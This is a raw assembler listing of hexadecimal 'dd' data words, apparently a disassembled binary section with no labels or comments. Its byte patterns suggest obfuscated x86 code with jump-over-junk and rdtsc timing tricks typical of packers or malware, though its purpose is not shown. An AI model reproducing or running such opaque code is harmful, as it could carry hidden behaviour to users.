		dd 0C3534300h, 3BE6CABAh, 0BA88467Bh, 0
		dd 30619D8Bh, 33AD0622h, 3E8D1C2h, 4E983D0h, 8C0FF475h
		dd 0Bh,	6E9h, 70AE8B00h, 89F894FDh, 2216399Dh, 880D06h
		dd 0BF0F0000h, 0F1958BDAh, 9062233h, 2212B1BDh,	0DB816606h
		dd 8D8B1CF8h, 6222D31h,	0BBCD380h, 222A319Dh, 0C28B5006h
		dd 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 60BBC350h, 13E8h, 631CC400h,	69D46388h, 4CA3993Eh, 0CAC71D42h
		dd 0BD687961h, 58D98B66h, 840F60h, 60000000h, 0B616161h
		dd 220FE99Dh, 69BD8306h, 6222Ch, 61840Fh, 9D230000h, 6221A09h
		dd 0B8h, 0CE800h, 0A2A30000h, 0E087A2B5h, 0F2CB269h, 8D5BA218h
		dd 2250B18Dh, 0BE906h, 98000000h, 0E16AA8FFh, 706450EBh
		dd 6AE1FF93h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 90EC357h, 95788B1Bh, 60685C33h
		dd 6B58D89h, 83610622h,	2230E5BDh, 840F0006h, 457h, 1951BD89h
		dd 0BD830622h, 62230E5h, 5F840F01h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 60B5C351h, 0EBB2EEC4h, 0E5BD834Bh, 3062230h,	3FA860Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0E2820AC3h, 8E3D5F85h, 0A59D8B60h, 0E8062231h
		dd 0Ch,	0E34E49E0h, 0DDCFF130h,	9212217Ch, 11E9h, 8D055B00h
		dd 0A752DCEBh, 256D5BE4h, 0A661A1BBh, 615F3779h, 12798D89h
		dd 6A600622h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1A042444h, 41000000h, 37C7C351h, 0D8B560CCh,	0AE832h
		dd 0AC420000h, 4C37478Eh, 3B587D56h, 14F98589h,	665F0622h
		dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 90376BC3h, 0CF4ABBB8h, 219D8BF5h,	80062225h
		dd 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 7024A8C3h, 0A684BD3h, 2840FC9h, 8B000001h
		dd 2210B985h, 0C8D38106h, 8B6F34C9h, 2225E1BDh,	0A5853306h
		dd 0E9062208h, 9, 73C5BFD3h, 0CDD10A65h, 71BD8B18h, 9006220Fh
		dd 60506160h, 8B665250h, 0E9310FF3h, 0Ah, 5B63BF3h, 0A06C15FAh
		dd 585AB33Ch, 13E9h, 0E050A700h, 0FD744458h, 0D18B1270h
		dd 74A2B0DCh, 0AC6505C3h, 0C7809061h, 73BF6642h, 6A006A9Dh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0F689C353h, 48BD17D2h, 10E80395h,	37000000h
		dd 394D3B40h, 732C8EBh,	0E828EF02h, 0E9F1BB55h,	0Ah, 0EF04329Fh
		dd 231BE13Ah, 0F5FFB20h, 0C8Bh,	7E900h,	0E78A0000h, 0B24655B5h
		dd 776668F3h, 0BF66775Ch, 3481E00Ch, 43749924h,	4DB52977h
		dd 0FF062231h, 221E9195h, 0D88B6606h, 0CAEB8589h, 0C7810625h
		dd 680A881Bh, 1F5E9h, 6820F00h,	60000000h, 0D98BA9B5h
		dd 0E3858B61h, 810625CAh, 4CD6E6C7h, 1800C76Ch,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 5F1BC350h, 1355BD8Bh, 0B58B0622h,	625CAE7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 91C35747h
		dd 0C7EDB290h, 5D16051Ah, 0A65858Bh, 0BD010622h, 6221DC9h
		dd 0BF0F0689h, 858BF8DFh, 62210B9h, 15859D89h, 46890622h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 45BE3C3Dh, 0BD89AA9Ah, 6220791h,	0BE850h
		dd 11170000h, 3F4A8BFDh, 0D62118A4h, 71D3BB0Fh,	895F7181h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0DE8BBAC3h, 0CAE3B5FFh, 0C3BF0625h, 0F043E9Fh
		dd 4E8D8B7h, 0FF000000h, 0F001F03h, 286h, 50D98B00h, 0DE860h
		dd 927E0000h, 7D83D3C8h, 3B9CFB63h, 0B2D46CA9h,	8B615840h
		dd 8B042444h, 14E800h, 89780000h, 93850AFh, 318A1C1Dh
		dd 8CAE6F4Fh, 0F3E1E286h, 895FA597h, 8B042444h,	6A58FAh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 21A297C3h, 8CD15B78h, 0B58967D3h, 6220FC5h, 0CAEB858Dh
		dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0F21421C3h, 29E04731h, 0DE9869Ah,	7B000000h
		dd 0A8D13F5Dh, 5A47FB3Ch, 9E84391Ch, 0B8606090h, 63534B80h
		dd 0B8615F57h, 7C55ADFCh, 8A535061h, 0B7905FFDh, 9195FFE7h
		dd 6A06221Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0D31FC355h, 0B2BE7388h, 10F98529h
		dd 0F610622h, 85C7DEBFh, 62230E5h, 3, 0CAEBBD83h, 0F000625h
		dd 0B84h, 0F5858900h, 0E906220Ah, 1Bh, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h, 2233F5BDh
		dd 0D98B6606h, 30E5BD83h, 0F030622h, 43D85h, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0FAD0B85Fh, 0EBBD8332h, 625CAh, 410840Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0BB5D9FC3h, 0FC154AB9h, 0BF0F4668h, 199D8BDFh, 0FF06220Fh
		dd 25CAEBB5h, 0DABF0F06h, 5631C7BFh, 0CD95FF32h, 6A06221Dh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 0BB19C352h, 65F4EBA5h, 8B3655A5h,	25CADFB5h
		dd 99C38106h, 0C7550173h, 1000106h, 418D2900h, 50062205h
		dd 34895F57h, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 6A2D21B1h, 0F4FADAF4h, 0BB666DAAh
		dd 0BD2BF22Ch, 622259Dh, 5FDF8166h, 0EBB5FFE0h,	890625CAh
		dd 22304D95h, 0FFF88B06h, 22254195h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 5802E683h
		dd 284B13F6h, 8BDA8BD4h, 223225BDh, 0DFB58B06h,	6A0625CAh
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 51D6C352h, 5E8h, 0BF401B00h, 0BD892AA8h
		dd 6220A11h, 2D858B5Bh,	8B06221Bh, 220EE9BDh, 0C4868906h
		dd 0F000000h, 28Eh, 0FFB8B00h, 684h, 59958900h,	8B06220Ah
		dd 2233F195h, 8D8B6006h, 62201B5h, 15D98D8Bh, 83610622h
		dd 6A04C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 4FBEE6C3h, 5CB78012h, 0C820FCCh, 0F000000h
		dd 685h, 559D3300h, 89062213h, 6A2050h,	3E850h,	58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 184398C3h
		dd 0DEBC858Dh, 0EE90625h, 61000000h, 0DC71413Eh, 9CC2CF50h
		dd 681EDB70h, 0B8868928h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0ACF8C357h
		dd 6AEA5DDCh, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0C7B75E3Dh, 0CE9h, 0D932F200h, 0C20E5FC0h, 78DB1A25h
		dd 0EBB5FFC5h, 890625CAh, 2231B18Dh, 8595FF06h,	0F5062202h
		dd 8E9h, 39AC0300h, 3B2063F4h, 8B6696EDh, 5BF50DFh, 9638B651h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h
		dd 84506CBBh, 0EBB5FF43h, 0E90625CAh, 12h, 9F9E4A08h, 0DDE61475h
		dd 24BD9B4Dh, 0DC18337h, 95FF24BEh, 6221AF5h, 4FD8D89h
		dd 0BD890622h, 62228A9h, 1331BD83h, 0F000622h, 6A84h, 0E9609600h
		dd 12h,	0B0400628h, 9AE31806h, 8BCA91D8h, 8E7B4329h, 810FAAD4h
		dd 2, 50615F56h, 52506060h, 585A310Fh, 11E861h,	3EBB0000h
		dd 241329FBh, 0CBC587BDh, 0B6272BDBh, 0E958B449h, 0Dh
		dd 0C531E0BFh, 687013F5h, 2B2AAB7Ah, 96615834h,	0D860Fh
		dd 0BA600000h, 4580C37Dh, 312DB529h, 0FF610622h, 25CAEBB5h
		dd 95895706h, 6223291h,	4195FF5Bh, 6A06221Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 2B24C356h, 0B0E0F81Eh, 103D61E6h, 0D1BBEB81h, 85893E58h
		dd 6222545h, 0CAEBB5FFh, 0F88A0625h, 2FC595FFh,	6A0622h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 47D2C6C3h, 7900DDCBh, 89D98B66h, 22184D9Dh, 0A9BD8306h
		dd 2062202h, 5A840Fh, 66FC0000h, 858BFA8Bh, 62200E1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2FC35545h, 0D585E093h
		dd 9007B027h, 0D78166E8h, 0C634C9h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1704h,	0C3564600h, 0C7F0F627h
		dd 7CFBF66h, 197D85C7h,	622h, 0F7E90000h, 0B3FFFFF3h, 6AC18B5Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 473FC350h, 5820Fh, 11BB0000h, 8D7C7FE1h
		dd 222CB585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0CA151033h, 0F380DBD7h, 4895081h
		dd 0D9BD2924h, 0E9062202h, 0Ah,	8415C21Eh, 9F9034EAh, 6A9437h
		dd 85DB529h, 6A0622h, 0E857006Ah, 3, 5FC35F20h,	4247C89h
		dd 4244481h, 1Ah, 7BC35747h, 0AB7962D7h, 8DFC0963h, 26819585h
		dd 91BD0B06h, 83062224h, 48BB05C0h, 5030CD26h, 489F88Bh
		dd 45958924h, 60062224h, 14E9h,	158E6A00h, 666312D8h, 1101993Ch
		dd 0BEA64C27h, 27187A0Fh, 6A61FC1Dh, 6870F00h, 89000000h
		dd 221A49B5h, 15858906h, 6A062235h, 0E59D8B00h,	0FF062202h
		dd 22355595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 9624793h,	0B729B6C7h, 7D95896Ah
		dd 8D06221Dh, 25A90F8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 8B731728h, 0F8EF81FBh
		dd 0FF060B5Fh, 52006AD1h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0EC8DECFEh, 1415520Ah
		dd 6880F46h, 29000000h,	221EAD9Dh, 0F5BD8306h, 1062200h
		dd 97850Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 150424h, 51410000h, 0E8C818C3h, 0Dh,	1644C267h, 9810007Eh
		dd 4D98CEEFh, 0E19D8B28h, 5F062230h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 65C2CEC3h
		dd 0F54B8A3h, 0B750FAB7h, 240489C7h, 2A9D9589h,	95FF0622h
		dd 6220285h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	0D6C35040h, 0FC2DCBF7h,	89309640h, 2235119Dh, 0E04E906h
		dd 0E80000h, 5D000000h,	819FED81h, 7E90626h, 0A4000000h
		dd 84AA753Dh, 6A3551h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0A54DEFC3h, 0A8750B8Dh, 0D8BF0F20h
		dd 9345858Dh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 0F2B375C3h, 0D6AC4A06h, 669025ECh
		dd 5750D88Bh, 5BDE8B66h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0F796F139h, 0F51F70Bh
		dd 645BDABFh, 35FFh, 89640000h,	25h, 0A9958900h, 0FF062218h
		dd 2208B185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0BF66605Bh, 9D33D9F5h, 6221ADDh
		dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0C1D0A5C3h, 6226165Ch, 0FE8h, 0D5022500h
		dd 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 21C59D2Bh,	605F0622h
		dd 2830Fh, 0C88A0000h, 0A119589h, 0FF610622h, 221311B5h
		dd 0FF9FB706h, 221C3595h, 13DE906h, 9E90000h, 5C000000h
		dd 0DFB9962Bh, 55BE4C9Fh, 70E600B0h, 1E8D0Fh, 13E80000h
		dd 53000000h, 364B4158h, 676DDD46h, 754C6C61h, 8E1694C3h
		dd 61BB9B09h, 5B6E3337h, 0B70F71E4h, 0F613CDAh,	0FA83h
		dd 318D0100h, 0F062214h, 0BF66C8B6h, 6BA233Bh, 66000000h
		dd 0C745E781h, 5E8C18Bh, 84000000h, 9C4530B7h, 9E8h, 0E238900h
		dd 16B9EFEh, 5B5FB7F3h,	0E904E8C1h, 0Dh, 0F562BB50h, 6383794Ah
		dd 459362E1h, 0E2F7661Dh, 27E9BD03h, 0C82B0622h, 8BDF8B66h
		dd 999D31D1h, 0E9062231h, 6, 169B509h, 858B0622h, 6221511h
		dd 4234BF66h, 6007C083h, 2BBAC981h, 6EBB48AEh, 6114809Eh
		dd 8B00C083h, 2231D99Dh, 0FD03B06h, 1F83h, 88D0F00h, 0F000000h
		dd 28Ah, 0E9616000h, 53h, 6810Fh, 85890000h, 6222D09h
		dd 159D8D8Bh, 0B5010622h, 62220E1h, 299D9D8Bh, 0E1830622h
		dd 2C840F01h, 8B000000h, 9DA583D8h, 0FE062215h,	9589DF8Bh
		dd 6221511h, 11E9h, 0C6988100h,	86FC0B0Eh, 496207D2h, 0B6B60AB8h
		dd 0E90ACAh, 8D000000h,	2604A7B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 95C7FEE9h
		dd 8980A1F8h, 22082185h, 6AF98A06h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 4B715678h
		dd 0B59D8B86h, 0F062210h, 681h,	4AC78100h, 0FF5EAA40h
		dd 22307595h, 859D8B06h, 0B9062213h, 7D0h, 38B0Fh, 8B660000h
		dd 0CD9D8BFBh, 8306220Eh, 6AFCE1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 11F616C3h, 0B529EACEh
		dd 6221345h, 9E9FCh, 9E400000h,	54076435h, 0B8F9C063h
		dd 0
		dd 0D22BFA8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Dh,	20C35747h, 2ACA5673h, 0BC386D14h, 0FBBF0F5Ah, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0A3C35343h, 0B822F5CAh, 0FE8B66BDh, 1659BD89h
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 6285DC3h,	1806B040h, 9E9h, 3726E500h, 5B71C665h
		dd 880DDCB8h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 81D1C356h, 6C88A7C7h
		dd 7E958h, 0C7130000h, 4C7FB3D0h, 0F1958B1Eh, 29062233h
		dd 221F19B5h, 318D8B06h, 6A06222Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C289C357h
		dd 147C886h, 816627B7h,	665671C7h, 0B928D381h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 1B5A0C3h
		dd 22302195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 0AB0DDCFCh, 69BD83F5h, 6222Ch, 0B0840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 0C5D1F2C3h, 0EC9BD655h, 6860F60h,	89000000h
		dd 221DD5B5h, 519D8906h, 6106220Bh, 6F19529h, 0B80622h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 18042444h, 40000000h, 3A0AC350h, 0E81912FEh,	10h, 38EBC944h
		dd 72A2F9Ah, 0CD6D934Ah, 0BC68A25Ch, 19FD9D23h,	8D5F0622h
		dd 2250B18Dh, 8D096006h, 6221BA9h, 6AE1FF61h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 3EC9C356h, 0BB66DF79h, 0BD83E8B4h, 62230E5h,	43840F00h
		dd 0F9000004h, 30E5BD83h, 0F010622h, 45084h, 45BD8B00h
		dd 0F906221Ch, 30E5BD83h, 0F030622h, 40686h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 2BFE659Fh, 40DE0CB8h, 60FB8B18h, 18B59D8Bh, 8C660622h
		dd 0F59D8BD9h, 80062214h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0C03EFEC3h, 87B6FD8Ah
		dd 0C90ABF34h, 140840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0C4542AC3h, 816627E2h
		dd 8B28FEF3h, 2210B985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0EC0C2698h, 76FA4C1Bh
		dd 0F98B4EBFh, 8A58533h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 0F88BB9C3h, 0BB666050h
		dd 73BE7FA1h, 61000AACh, 56240489h, 8FFA2ABBh, 6A5F45h
		dd 18B1BD8Bh, 0C680622h, 0E825FF6Fh, 14h, 38D80B4Ah, 804BAB41h
		dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 815B38B7h, 6CF32434h
		dd 6A25E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 0A9CBE3C3h, 0ACF28DCh, 0F780F9B3h, 9195FFF5h
		dd 6A06221Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 38CEC352h, 67E4B3E7h, 0BD89088Eh
		dd 6223131h, 0CAEB8589h, 6A0625h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 6ED572C3h, 1ED247C3h
		dd 1FCE9C1h, 858B0000h,	625CAE3h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ch, 0C0C35242h,	0A101C96Ah, 3319A06Fh
		dd 1800C7h, 0BD8B0000h,	62207B1h, 0FE9h, 0EE6200h, 23F23E20h
		dd 47C17DE9h, 0F221DC70h, 0CAE7B58Bh, 6A0625h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 88B654C3h, 0BF0F6DFCh, 0DE9D8h, 0B65E0000h, 80880AA2h
		dd 7715870Dh, 8B1EEDF3h, 220A6585h, 2D9D8B06h, 89062229h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E95B0103h, 9, 60A957F6h, 0E382E5A8h, 0E99D0B04h
		dd 8B062207h, 2210B985h, 8B665706h, 0B5895FDFh,	6222FFDh
		dd 50044689h, 0B59D8960h, 0B9062224h, 40F0071Eh, 60965F61h
		dd 6164BE66h, 5061CA8Bh, 5E95250h, 90000000h, 1A15A01Bh
		dd 0D98B310Fh, 6A96585Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 1F4AC353h, 0DF8BFD30h
		dd 0CAE3B5FFh, 0BD2B0625h, 622254Dh, 31E59D03h,	4E80622h
		dd 0FF000000h, 0BB001F03h, 7AC25DD1h, 15870F50h, 0E8000000h
		dd 0Dh,	0C641AD04h, 0C1BAF195h,	5BA420E6h, 5F61602Dh, 424448Bh
		dd 0E8515250h, 13h, 14A14473h, 0E76C0272h, 66D1D577h, 0F7C10DC2h
		dd 5B5CA0CCh, 0B7310F5Bh, 8B585A74h, 0BA666000h, 33B21A88h
		dd 24448961h, 50605704h, 5A310F52h, 0F525058h, 61585A31h
		dd 0DE9585Bh, 3C000000h, 82CABEBBh, 2A04CF22h, 0DEB9E70Eh
		dd 0CAEB858Dh, 5F520625h, 24048950h, 0BF0FD88Bh, 9195FFDFh
		dd 6A06221Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1D042444h, 45000000h, 57D0C355h, 4E5F00D3h, 24027A59h
		dd 2D859D8Bh, 8B610622h, 222FC9BDh, 0E585C706h,	3062230h
		dd 8B000000h, 0EBBD83D8h, 625CAh, 45840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 5398A4C3h, 13E802h, 8E250000h, 623912DEh, 712B7DFBh
		dd 16D20F06h, 4B467C0Ch, 5B47B71Dh, 21E9h, 0D98D8900h
		dd 5006222Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 9D8BC08Bh,	622262Dh, 0BE9h, 6B04000h, 0D89AE318h
		dd 298BCA91h, 83FE8B66h, 2230E5BDh, 850F0306h, 3AFh, 0CAEBBD83h
		dd 0F000625h, 3A284h, 8A0F5700h, 0
		dd 0EBB5FF5Bh, 0F0625CAh, 95FFF8BFh, 6221DCDh, 920DEF81h
		dd 0DA8A61DFh, 0CADFB58Bh, 6A0625h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5939FBC3h
		dd 75E2D203h, 15518501h, 0BD8B0622h, 622210Dh, 106C7h
		dd 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 8B1A61C3h, 35BD8BDAh, 50062205h, 0ABEFBB66h
		dd 6A243489h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 753AC357h, 9D8B7E41h, 6223509h
		dd 5E1EBBFh, 0EBB5FF41h, 0F0625CAh, 286h, 0FF5F5600h, 22254195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0F6125D94h, 894C4C35h, 2204D58Dh, 0DFB58B06h
		dd 6A0625CAh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 0BA61C352h, 858B1351h,	6221B2Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 32C35545h
		dd 89762048h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 2FBC9BC6h, 0B70F4AFCh
		dd 0F1958BFFh, 9062233h, 22204D8Dh, 4C28306h, 89F3E780h
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 331F03C3h, 5940A54Eh, 0BD8B43F4h,	622295Dh
		dd 0DEBC858Dh, 9D310625h, 622001Dh, 0B88689h, 51560000h
		dd 0E49FB3BBh, 605F5F2Ch, 58FB8B56h, 0EE9h, 0CA7BBF00h
		dd 327EB85Dh, 6F9C6FADh, 61034DB5h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 1CA512C3h
		dd 14E97A72h, 2C000000h, 0AC22A18Ah, 5287B46Eh,	14C88D90h
		dd 0A2C39B4Bh, 0FD1E415h, 38Bh,	0F98B6600h, 31919D8Bh
		dd 0B5FF0622h, 625CAEBh, 0FB18D89h, 95FF0622h, 6220285h
		dd 0ABC7BF66h, 0DE950h,	0DF230000h, 0E11A6BD9h,	2980847Bh
		dd 8978727Ah, 85892434h, 6221631h, 0CAEBB5FFh, 0D7800625h
		dd 0F595FFC5h, 106221Ah, 222C899Dh, 31BD8306h, 62213h
		dd 5E840Fh, 0BD8B0000h,	622303Dh, 6E86050h, 43000000h
		dd 0D6BD6D83h, 0CE8B6673h, 3489615Bh, 56006A24h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
		dd 14E8118Dh, 22000000h, 0EC7F136Ah, 44034B1Ch,	7060E131h
		dd 0A288CCDFh, 890F509Ch, 222721B5h, 9D335F06h,	622329Dh
		dd 0CAEBB5FFh, 95FF0625h, 6221D41h, 0F258BF66h,	0CAEBB5FFh
		dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 858123C3h, 95FFFA8Bh, 6222FC5h, 8392F380h
		dd 2202A9BDh, 840F0206h, 5Bh, 0B6EB8166h, 0E1858BD8h, 6A062200h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 7777C351h, 0DBDA37E5h, 66506A38h,	8B5FFB8Bh
		dd 0C6D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Bh,	0AFC35141h, 191426F0h, 0C7FD63FFh, 22197D85h, 6
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 50C4D285h, 0E9F8F2A7h, 0FFFFF328h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0A0C35646h, 13EC897h
		dd 220779BDh, 6AC18B06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 4855C353h, 2418313Dh
		dd 0AEB67220h, 21B9BD2Bh, 858D0622h, 6222CB5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BBC35343h, 89BD3345h
		dd 0E9062226h, 8, 38FA16E8h, 0EB316E73h, 0A830F90h, 60000000h
		dd 310F5250h, 0A0B0585Ah, 0CDBB5061h, 9066E3D1h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 56C35545h, 782E103h
		dd 820F1052h, 6, 1D258D89h, 0C7810622h,	70A075DEh, 9D29006Ah
		dd 6222D69h, 850F006Ah,	18h, 12E8h, 5BCC6000h, 0AC4F7875h
		dd 0A270ED65h, 45E97BB4h, 5F3C2D0Bh, 914A858Dh,	0B5890626h
		dd 622111Dh, 6605C083h,	81F0C381h, 50EDB390h, 0E01A42BBh
		dd 6A9045h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h
		dd 56460000h, 0B51D78C3h, 0CF5DBFF3h, 85895834h, 6223125h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD8BC7C3h, 622354Dh, 12E8006Ah, 8A000000h
		dd 0BCA26848h, 75231EE4h, 0ABC025B0h, 0D2E4C098h, 4BBF662Dh
		dd 95FF5F07h, 6223555h,	0A90F8D8Dh, 6A0625h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D1FFA2C3h
		dd 0F5BD83h, 0F010622h,	4185h, 0CD8D8900h, 6A06220Ah, 4FDF8102h
		dd 901BD365h, 36C8BB66h, 90FE8B50h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0F5C35343h,	91666E8Eh, 95FF81B3h
		dd 6220285h, 56E9FA8Bh,	0E800000Fh, 0
		dd 54ED815Dh, 0E8062691h, 5, 744458E0h,	0D33FBBFDh, 6A5F524Eh
